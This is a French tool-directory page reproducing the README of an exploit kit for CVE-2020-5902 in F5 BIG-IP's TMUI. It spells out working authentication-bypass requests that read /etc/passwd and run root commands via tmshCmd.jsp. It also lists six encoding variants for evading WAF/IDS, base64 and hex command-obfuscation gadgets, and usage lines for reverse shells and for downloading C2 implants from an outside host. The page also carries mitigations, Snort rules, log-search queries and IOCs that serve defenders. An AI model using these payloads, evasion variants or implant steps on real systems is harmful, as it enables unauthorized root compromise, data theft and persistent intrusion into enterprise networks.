Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
F5-BIG-IP — Le F5 BIG-IP est une plateforme de livraison et de sécurité d'applications largement utilisée dans les environnements d'entreprise. La CVE-2020-5902 est une vulnérabilité critique dans le TMUI qui, dans les versions non corrigées, peut permettre un accès non autorisé et une exécution de code à distance, renforçant la nécessité de mise à jour et de gestion continue des vulnérabilités. | Kitploit
Outils/GitHubGitHub/devrafaelprogrammer/f5-big-ip
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionCommandement et ContrôleApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles
GitHub
devrafaelprogrammer/f5-big-ip

F5-BIG-IP

Voir le dépôt
3il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Le F5 BIG-IP est une plateforme de livraison et de sécurité d'applications largement utilisée dans les environnements d'entreprise. La CVE-2020-5902 est une vulnérabilité critique dans le TMUI qui, dans les versions non corrigées, peut permettre un accès non autorisé et une exécution de code à distance, renforçant la nécessité de mise à jour et de gestion continue des vulnérabilités.

Partager

CVE-2020-5902 — RCE F5 BIG-IP TMUI

Preuve de concept pour la vulnérabilité critique de traversée de chemin / exécution de code à distance dans l'interface utilisateur de gestion du trafic (TMUI) de F5 BIG-IP.

⚠️ Réservé aux tests d'intrusion autorisés et à la recherche en sécurité. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite est illégale. L'auteur décline toute responsabilité en cas d'usage abusif de cet outil.


Table des matières

  • Contexte
  • Analyse de la vulnérabilité
  • Plongée technique
  • Versions concernées
  • Fonctionnalités
  • Installation
  • Utilisation
  • Mesures défensives
  • Détection et chasse aux menaces
  • Chronologie
  • Références
  • Avertissement

  • Contexte

    F5 BIG-IP est une famille d'appareils réseau polyvalents (équilibreurs de charge, WAF, contrôleurs de diffusion d'applications) déployée dans la majorité des entreprises du Fortune 500, des institutions financières, des organismes de santé et des agences gouvernementales dans le monde entier. L'interface utilisateur de gestion du trafic (TMUI) — également appelée utilitaire de configuration — est le portail de gestion web accessible sur le port 443 (ou 8443).

    En juillet 2020, F5 a divulgué CVE-2020-5902, une vulnérabilité de traversée de chemin Critique (CVSS 9.8) non authentifiée dans TMUI qui permet à un attaquant distant non authentifié de :

    • Lire des fichiers arbitraires du système Linux sous-jacent (LFI)
    • Exécuter des commandes OS arbitraires en tant que root (RCE)
    • Compromettre entièrement l'appareil et pivoter vers les réseaux internes

    En quelques jours après la divulgation publique, une exploitation massive a été observée, y compris par des acteurs étatiques.


    Analyse de la vulnérabilité

    Cause racine

    TMUI est construit sur Apache Tomcat et utilise un filtre de servlet pour imposer l'authentification sur les ressources protégées. La vulnérabilité réside dans la façon dont Tomcat analyse les segments de chemin délimités par un point-virgule (;).

    La requête suivante contourne complètement l'authentification :

    root@kitploit:~
    GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
    

    Pourquoi cela fonctionne :

    1. Le filtre de servlet Tomcat voit le chemin comme /tmui/login.jsp (se termine avant ;) — qui est la page de connexion publique — et autorise la requête.
    2. Le résolveur d'URL de Tomcat traite ensuite /..;/ comme une traversée de chemin (/../) avant la distribution.
    3. La requête est finalement acheminée vers le servlet protégé fileRead.jsp sans authentification.
    root@kitploit:~
    ┌──────────────────────────────────────────────────────────────────┐
    │  Requête client                                                   │
    │  GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp     │
    └────────────────────────────┬─────────────────────────────────────┘
                                 │
                 ┌───────────────▼───────────────┐
                 │    Filtre de servlet Tomcat    │
                 │  Voit : /tmui/login.jsp  ✓    │
                 │  (point d'accès public → AUTORISER) │
                 └───────────────┬───────────────┘
                                 │
                 ┌───────────────▼───────────────┐
                 │    Résolveur d'URL Tomcat      │
                 │  Résout : /..;/ → /../        │
                 │  Chemin final : /tmui/locallb/│
                 │  workspace/fileRead.jsp ← 🔓  │
                 └───────────────┬───────────────┘
                                 │
                 ┌───────────────▼───────────────┐
                 │  fileRead.jsp (pas de vérification) │
                 │  Lit des fichiers arbitraires en root│
                 └───────────────────────────────┘
    

    De LFI à RCE

    Le servlet tmshCmd.jsp (également accessible via la même traversée) transmet les paramètres command et utilCmdArgs directement à tmsh (le shell de gestion BIG-IP), qui exécute run util bash -c '...'. Cela permet une exécution de commandes OS de niveau root sans authentification :

    root@kitploit:~
    POST /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
    command=run+util+bash+-c+'id'&utilCmdArgs=-c+'id'
    

    Plongée technique

    Déroulement de l'attaque

    root@kitploit:~
    Phase 1 : Reconnaissance
      └─ Reconnaissance de bannière TCP (empreinte HTTP/TLS)
      └─ Analyse du certificat SSL
      └─ Empreinte des en-têtes HTTP (Server, X-Powered-By, Set-Cookie)
      └─ Estimation de la version BIG-IP à partir de /etc/f5-release
    
    Phase 2 : Vérification de la vulnérabilité
      └─ Itération sur 6 variantes de codage de traversée
      └─ Test sur 4 fichiers sentinelles connus lisibles
      └─ Confirmation que la sortie correspond aux indicateurs connus (root:x:0:0, BIG-IP, etc.)
    
    Phase 3 : Exploitation
      ├─ Vecteur A : tmshCmd.jsp (RCE principal)
      │    └─ Commande obscurcie via gadgets base64 / hex-encode
      ├─ Vecteur B : fileRead.jsp + injection de commande dans le paramètre fileName
      │    └─ Commande OS injectée dans le paramètre fileName
      └─ Vecteur C : Empoisonnement des logs (injection User-Agent → lecture access_log)
    
    Phase 4 : Post-exploitation (optionnel)
      ├─ Shell interactif (REPL de commande)
      ├─ Shell inverse (4 one-liners simultanés)
      ├─ Force brute LFI (30 chemins sensibles, parallèle)
      └─ Déploiement d'implant C2 (Sliver / Metasploit / personnalisé)
    

    Variantes de codage de traversée

    VarianteCharge utile
    Standardtmui/login.jsp/..;/tmui/...
    Point-virgule encodétmui/login.jsp/..%3b/tmui/...
    Double encodage URLtmui%2flogin.jsp%2f..%3b%2ftmui%2f...
    Points unicodetmui/login.jsp/%2e%2e;/tmui/...
    Variation de casseTMUI/login.jsp/..;/tmui/...
    Confusion de répertoiretmui/login.jsp/..;/tmui/locallb/workspace/../workspace/...

    Gadgets d'obscurcissement de commande

    L'outil applique l'un des deux gadgets d'obscurcissement par exécution, rendant la détection par signature statique plus difficile :

    root@kitploit:~
    # Gadget 1 — Pipeline d'encodage/décodage Base64
    bash -c {echo,aWQ=}|{base64,-d}|bash
    
    # Gadget 2 — Évaluation printf hexadécimale
    eval "$(printf '\x69\x64')"
    

    Versions concernées

    Branche BIG-IPPlage vulnérableVersion corrigée
    15.x< 15.1.0.4≥ 15.1.0.4
    14.x< 14.1.2.6≥ 14.1.2.6
    13.x< 13.1.3.4≥ 13.1.3.4
    12.x< 12.1.5.2≥ 12.1.5.2
    11.x< 11.6.5.2≥ 11.6.5.2

    BIG-IQ, BIG-IQ Centralized Management, F5OS et Traffix SDC ne sont pas concernés par cette CVE spécifique.


    Fonctionnalités

    • Traversée de chemin multi-variantes — 6 permutations d'encodage pour contourner les signatures WAF/IDS
    • Trois vecteurs RCE indépendants — tmshCmd.jsp, injection fileRead, empoisonnement des logs
    • Gadgets d'obscurcissement de commande — pipelines base64 et hex-encode
    • Phase de reconnaissance passive — bannière TCP, empreinte SSL/TLS, analyse des en-têtes HTTP
    • Force brute LFI parallèle — 30 chemins sensibles, 10 threads simultanés
    • Shells inversés simultanés — 4 one-liners déclenchés en même temps
    • Intégration C2 — Sliver, Metasploit, implants personnalisés (Linux/Windows/PS1)
    • En-têtes d'évasion — User-Agents aléatoires, en-têtes de spoofing IP, en-têtes de bruit
    • REPL de shell interactif — commandes !revshell, !c2, !read, !brute
    • Support proxy — Intégration Burp Suite / mitmproxy

    Installation

    root@kitploit:~
    git clone https://github.com/DevRafaelprogrammer/F5-BIG-IP.git
    cd F5-BIG-IP
    pip install requests pycryptodome urllib3
    

    Prérequis : Python 3.10+


    Utilisation

    root@kitploit:~
    python CVE-2020-5902.py [-h] [--port PORT] [--proxy URL] [--no-recon]
                            [--cmd CMD] [--shell] [--lfi-brute]
                            [--revshell LHOST LPORT]
                            [--c2-url URL] [--c2-type TYPE] [--c2-args ARGS]
                            target
    

    Exemples

    root@kitploit:~
    # 1. Vérification de vulnérabilité uniquement
    python CVE-2020-5902.py 192.168.1.100
    
    # 2. Port personnalisé + exécution d'une seule commande
    python CVE-2020-5902.py 192.168.1.100 --port 8443 --cmd "id && uname -a"
    
    # 3. Shell interactif
    python CVE-2020-5902.py 192.168.1.100 --shell
    
    # 4. Force brute LFI (lit 30 chemins sensibles)
    python CVE-2020-5902.py 192.168.1.100 --lfi-brute
    
    # 5. Récupération de shell inverse
    python CVE-2020-5902.py 192.168.1.100 --revshell 10.0.0.1 4444
    
    # 6. Déploiement d'un implant C2 (exemple Sliver)
    python CVE-2020-5902.py 192.168.1.100 \
      --c2-url http://10.0.0.1:8000/implant \
      --c2-type linux
    
    # 7. Routage via Burp Suite pour inspection du trafic
    python CVE-2020-5902.py 192.168.1.100 --proxy http://127.0.0.1:8080
    

    Commandes du shell interactif

    En mode --shell, les commandes spéciales suivantes sont disponibles :

    CommandeDescription
    !revshell <lhost> <lport>Déclenche 4 variantes de shell inverse simultanément
    !c2 <url> <type> [args]Télécharge et exécute un implant C2
    !read <path>Lit un fichier arbitraire via LFI
    !bruteForce brute sur 30 chemins sensibles
    !exitTermine la session
    <toute commande OS>Exécute via RCE et affiche la sortie

    Mesures défensives

    Atténuations immédiates (si le correctif n'est pas encore possible)

    1. Bloquer l'accès à TMUI depuis Internet

    La mesure d'atténuation la plus efficace est de s'assurer que l'interface de gestion n'est jamais accessible depuis des réseaux non fiables :

    root@kitploit:~
    # BIG-IP : restreindre l'accès à la gestion à une VLAN/plage IP dédiée
    tmsh modify sys httpd allow replace-all-with { 10.0.0.0/8 192.168.0.0/16 }
    tmsh save sys config
    

    Alternativement, depuis la configuration Self IP de BIG-IP, assurez-vous que le port de gestion n'a pas de route externe.

    2. Appliquer l'atténuation officielle de F5 (avant correctif)

    F5 a publié un script d'atténuation qui ajoute une règle RewriteRule Apache pour bloquer le motif de traversée :

    root@kitploit:~
    # /etc/httpd/conf.d/CVE-2020-5902.conf
    RewriteEngine On
    RewriteCond %{THE_REQUEST} "([^\ ]+)\x3b" [NC]
    RewriteRule ^ - [F,L]
    

    Référence : K52145254 — Étapes d'atténuation

    3. Correctif — Appliquer la version corrigée

    La correction définitive consiste à mettre à niveau BIG-IP vers une version corrigée (voir le tableau Versions concernées). F5 a corrigé la logique du filtre de servlet pour analyser correctement les segments de chemin délimités par un point-virgule avant l'application de l'authentification.


    Défenses au niveau de l'architecture

    Accès Zero-Trust aux plans de gestion

    root@kitploit:~
    ┌────────────────────────────────────────────────────────────────┐
    │  ARCHITECTURE RECOMMANDÉE                                      │
    │                                                                 │
    │  Internet ──────► Pare-feu ──────► DMZ / Production           │
    │                      │                                          │
    │                      │  (REFUSER tout trafic vers ports de gestion)│
    │                      │                                          │
    │                   Jump Host ──────► BIG-IP TMUI (port 443)    │
    │                 (MFA + VPN)         (VLAN de gestion uniquement)│
    └────────────────────────────────────────────────────────────────┘
    

    Principes clés :

    • Les interfaces de gestion ne doivent jamais être sur la même IP/port que le trafic de production
    • L'accès nécessite VPN + MFA avant d'atteindre le jump host
    • Le verrouillage des ports Self IP de BIG-IP doit être réglé sur Allow None ou Allow Defaults

    Règles du pare-feu applicatif (WAF)

    Si un WAF se trouve devant la gestion BIG-IP (inhabituel mais possible dans certaines architectures), ajoutez des règles pour bloquer :

    • Les requêtes contenant ; dans le chemin URL
    • Les requêtes correspondant à ..; ou %3b dans les segments de chemin
    • Les requêtes vers /tmui/locallb/workspace/ depuis des sources non liées à la gestion

    Liste de vérification de durcissement de sécurité

    root@kitploit:~
    [ ] BIG-IP mis à jour vers une version corrigée
    [ ] TMUI non exposé à Internet (vérifier avec Shodan/Censys)
    [ ] VLAN de gestion séparée de la production
    [ ] Verrouillage des ports Self IP configuré (Allow None ou Allow Defaults)
    [ ] MFA appliquée sur l'accès à la gestion
    [ ] Inventaire logiciel BIG-IP dans le système de gestion des actifs
    [ ] Scan de vulnérabilité automatisé (Tenable/Qualys) inclut BIG-IP
    [ ] Transfert de logs vers SIEM configuré (access_log, audit.log)
    [ ] Segmentation réseau : un BIG-IP compromis ne peut pas atteindre les contrôleurs de domaine
    [ ] Playbook de réponse aux incidents inclut le scénario de compromission d'équipement réseau
    

    Détection et chasse aux menaces

    Signatures IDS/IPS (Snort / Suricata)

    root@kitploit:~
    # Détection des tentatives de traversée de chemin (contournement par point-virgule)
    alert http any any -> $HOME_NET 443 (
        msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal";
        flow:to_server,established;
        content:"tmui"; http_uri; nocase;
        content:"..;"; http_uri;
        content:"workspace"; http_uri; nocase;
        reference:cve,2020-5902;
        sid:9000001; rev:1;
    )
    
    # Détection de la variante avec point-virgule encodé
    alert http any any -> $HOME_NET 443 (
        msg:"CVE-2020-5902 F5 BIG-IP TMUI Path Traversal (encoded)";
        flow:to_server,established;
        content:"tmui"; http_uri; nocase;
        content:"%3b"; http_uri; nocase;
        content:"fileRead"; http_uri; nocase;
        reference:cve,2020-5902;
        sid:9000002; rev:1;
    )
    

    Motif de log Apache/HTTPD (grep)

    root@kitploit:~
    # Rechercher les tentatives de traversée dans les logs d'accès BIG-IP
    grep -iE "(\.\.;|%2e%2e|%252e|\.\.%3b|%2e%2e%3b)" /var/log/httpd/access_log
    
    # Rechercher les accès réussis aux endpoints vulnérables
    grep -iE "(fileRead\.jsp|tmshCmd\.jsp|workspace)" /var/log/httpd/access_log | \
      grep -v "^10\.\|^192\.168\.\|^172\.1[6-9]\.\|^172\.2[0-9]\.\|^172\.3[0-1]\."
    

    Requête SIEM (Splunk SPL)

    root@kitploit:~
    index=network sourcetype=f5:bigip:access
      (uri_path="*..;*" OR uri_path="*%3b*" OR uri_path="*%2e%2e*")
      (uri_path="*workspace*" OR uri_path="*fileRead*" OR uri_path="*tmshCmd*")
    | eval risk=if(status=200, "HIGH", "MEDIUM")
    | stats count by src_ip, uri_path, status, risk
    | sort -count
    

    Indicateurs de compromission (IOCs)

    Motifs d'URL :

    root@kitploit:~
    /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp
    /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp
    /tmui/login.jsp/%2e%2e;/tmui/locallb/workspace/fileRead.jsp
    /tmui/login.jsp/..%3b/tmui/locallb/workspace/fileRead.jsp
    

    Objectifs fréquents des attaquants (fichiers consultés) :

    root@kitploit:~
    /etc/passwd                  — collecte d'identifiants
    /config/bigip.conf           — exfiltration de configuration VPN/routage
    /config/bigip.license        — vol de clé de licence
    /config/bigip_user.conf      — énumération des comptes administrateurs locaux
    /root/.bash_history          — reconnaissance de commandes historiques
    

    Chronologie

    DateÉvénement
    2020-06-30F5 notifié en privé
    2020-07-01F5 publie l'avis (K52145254) et les correctifs
    2020-07-03PoC public publié sur Twitter
    2020-07-04Exploitation massive observée par plusieurs firmes de renseignement sur les menaces
    2020-07-06CISA publie la directive d'urgence 20-03 imposant le correctif fédéral
    2020-07-09Acteurs étatiques (APT) confirmés exploitant la vulnérabilité dans la nature
    2020-07-15Environ 8 000 instances BIG-IP encore non corrigées (Shodan)
    2020-08-xxDes groupes de ransomware commencent à cibler les équipements BIG-IP non corrigés

    Références

    • NVD — CVE-2020-5902
    • Avis de sécurité F5 K52145254
    • Directive d'urgence CISA 20-03
    • Analyse Rapid7
    • Couverture BleepingComputer
    • Requête Shodan : http.title:"BIG-IP" port:443

    Avertissement

    Cet outil est fourni à des fins éducatives et pour des évaluations de sécurité autorisées uniquement. Il est destiné à :

    • Testeurs d'intrusion disposant d'une autorisation écrite du propriétaire de l'actif
    • Chercheurs en sécurité étudiant la vulnérabilité dans des environnements de laboratoire
    • Défenseurs construisant des signatures de détection et des configurations de durcissement
    • Participants à des compétitions CTF (Capture The Flag)

    Utiliser cet outil contre des systèmes sans autorisation écrite explicite est une infraction pénale en vertu du Computer Fraud and Abuse Act (CFAA), du UK Computer Misuse Act, de la loi brésilienne n° 12.737/2012 (Lei Carolina Dieckmann) et des lois équivalentes dans la plupart des juridictions mondiales.

    L'auteur et les contributeurs de ce dépôt n'acceptent aucune responsabilité pour les dommages, conséquences juridiques ou autres préjudices résultant d'un usage abusif de ce logiciel.


    Conçu pour la communauté de la recherche en sécurité. Corrigez vos systèmes. Protégez vos réseaux.

    Télécharger l’outil